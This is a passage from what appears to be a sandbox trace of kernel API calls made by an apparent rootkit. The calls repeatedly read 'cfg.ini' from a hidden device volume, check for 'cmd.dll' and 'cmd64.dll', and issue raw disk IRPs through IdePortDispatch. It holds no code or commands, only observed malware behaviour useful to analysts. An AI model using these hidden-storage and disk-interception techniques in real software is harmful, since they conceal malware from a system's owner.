[0119.629] KeEnterCriticalRegion () [0119.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.630] KeLeaveCriticalRegion () [0119.630] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.630] KeEnterCriticalRegion () [0119.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.630] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.630] IdePortDispatch () returned 0x103 [0119.630] KeWaitForMutexObject () returned 0x0 [0119.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.630] KeLeaveCriticalRegion () [0119.630] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.630] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.630] KeEnterCriticalRegion () [0119.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003451000 [0119.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.630] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.630] IdePortDispatch () returned 0x103 [0119.630] KeWaitForMutexObject () returned 0x0 [0119.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.630] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.631] IdePortDispatch () returned 0x103 [0119.631] KeWaitForMutexObject () returned 0x0 [0119.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.631] KeLeaveCriticalRegion () [0119.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.631] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.631] KeEnterCriticalRegion () [0119.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.631] KeLeaveCriticalRegion () [0119.631] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.631] KeEnterCriticalRegion () [0119.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.631] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.631] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.631] KeLeaveCriticalRegion () [0119.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.631] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.631] KeEnterCriticalRegion () [0119.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] ExFreePoolWithTag (P=0xfffffa8003bcae60, Tag=0x0) [0119.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] KeLeaveCriticalRegion () [0119.632] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.632] ReleaseMutex (hMutex=0xf0) returned 1 [0119.632] Sleep (dwMilliseconds=0x124f80) [0119.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.639] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.639] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.639] KeEnterCriticalRegion () [0119.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.639] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.639] IdePortDispatch () returned 0x103 [0119.639] KeWaitForMutexObject () returned 0x0 [0119.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.640] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.640] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.640] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.640] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.640] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcac10 [0119.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.640] KeLeaveCriticalRegion () [0119.640] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.640] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.640] KeEnterCriticalRegion () [0119.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.640] KeLeaveCriticalRegion () [0119.640] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.640] KeEnterCriticalRegion () [0119.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.640] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.640] IdePortDispatch () returned 0x103 [0119.640] KeWaitForMutexObject () returned 0x0 [0119.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.640] KeLeaveCriticalRegion () [0119.640] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.640] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.640] KeEnterCriticalRegion () [0119.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003454000 [0119.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.641] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.641] IdePortDispatch () returned 0x103 [0119.641] KeWaitForMutexObject () returned 0x0 [0119.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.641] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.641] IdePortDispatch () returned 0x103 [0119.641] KeWaitForMutexObject () returned 0x0 [0119.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.641] KeLeaveCriticalRegion () [0119.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.642] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.642] KeEnterCriticalRegion () [0119.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] KeLeaveCriticalRegion () [0119.642] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.642] KeEnterCriticalRegion () [0119.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.642] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaa10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] KeLeaveCriticalRegion () [0119.642] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.642] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.642] KeEnterCriticalRegion () [0119.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] ExFreePoolWithTag (P=0xfffffa8003bcac10, Tag=0x0) [0119.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] KeLeaveCriticalRegion () [0119.642] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.642] ReleaseMutex (hMutex=0xf0) returned 1 [0119.642] Sleep (dwMilliseconds=0x124f80) [0119.657] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.657] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.657] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.657] KeEnterCriticalRegion () [0119.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.657] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.657] IdePortDispatch () returned 0x103 [0119.657] KeWaitForMutexObject () returned 0x0 [0119.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.657] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.657] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.657] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.657] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.657] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca950 [0119.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.657] KeLeaveCriticalRegion () [0119.657] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.657] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.657] KeEnterCriticalRegion () [0119.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.657] KeLeaveCriticalRegion () [0119.657] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.657] KeEnterCriticalRegion () [0119.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.657] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.658] IdePortDispatch () returned 0x103 [0119.658] KeWaitForMutexObject () returned 0x0 [0119.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.658] KeLeaveCriticalRegion () [0119.658] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.658] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.658] KeEnterCriticalRegion () [0119.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.658] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003459000 [0119.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.658] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.658] IdePortDispatch () returned 0x103 [0119.658] KeWaitForMutexObject () returned 0x0 [0119.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.658] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.658] IdePortDispatch () returned 0x103 [0119.658] KeWaitForMutexObject () returned 0x0 [0119.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] KeLeaveCriticalRegion () [0119.659] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.659] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.659] KeEnterCriticalRegion () [0119.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] KeLeaveCriticalRegion () [0119.659] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.659] KeEnterCriticalRegion () [0119.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.659] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] KeLeaveCriticalRegion () [0119.659] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.659] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.659] KeEnterCriticalRegion () [0119.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] ExFreePoolWithTag (P=0xfffffa8003bca950, Tag=0x0) [0119.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.659] KeLeaveCriticalRegion () [0119.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.660] ReleaseMutex (hMutex=0xf0) returned 1 [0119.660] Sleep (dwMilliseconds=0x124f80) [0119.673] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.673] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.673] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.673] KeEnterCriticalRegion () [0119.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.673] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.673] IdePortDispatch () returned 0x103 [0119.673] KeWaitForMutexObject () returned 0x0 [0119.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.673] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.673] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.673] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.673] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.673] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca950 [0119.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.673] KeLeaveCriticalRegion () [0119.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.674] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.674] KeEnterCriticalRegion () [0119.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.674] KeLeaveCriticalRegion () [0119.674] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.674] KeEnterCriticalRegion () [0119.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.674] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.674] IdePortDispatch () returned 0x103 [0119.674] KeWaitForMutexObject () returned 0x0 [0119.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.674] KeLeaveCriticalRegion () [0119.674] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.674] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.674] KeEnterCriticalRegion () [0119.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345e000 [0119.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.674] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.674] IdePortDispatch () returned 0x103 [0119.674] KeWaitForMutexObject () returned 0x0 [0119.674] 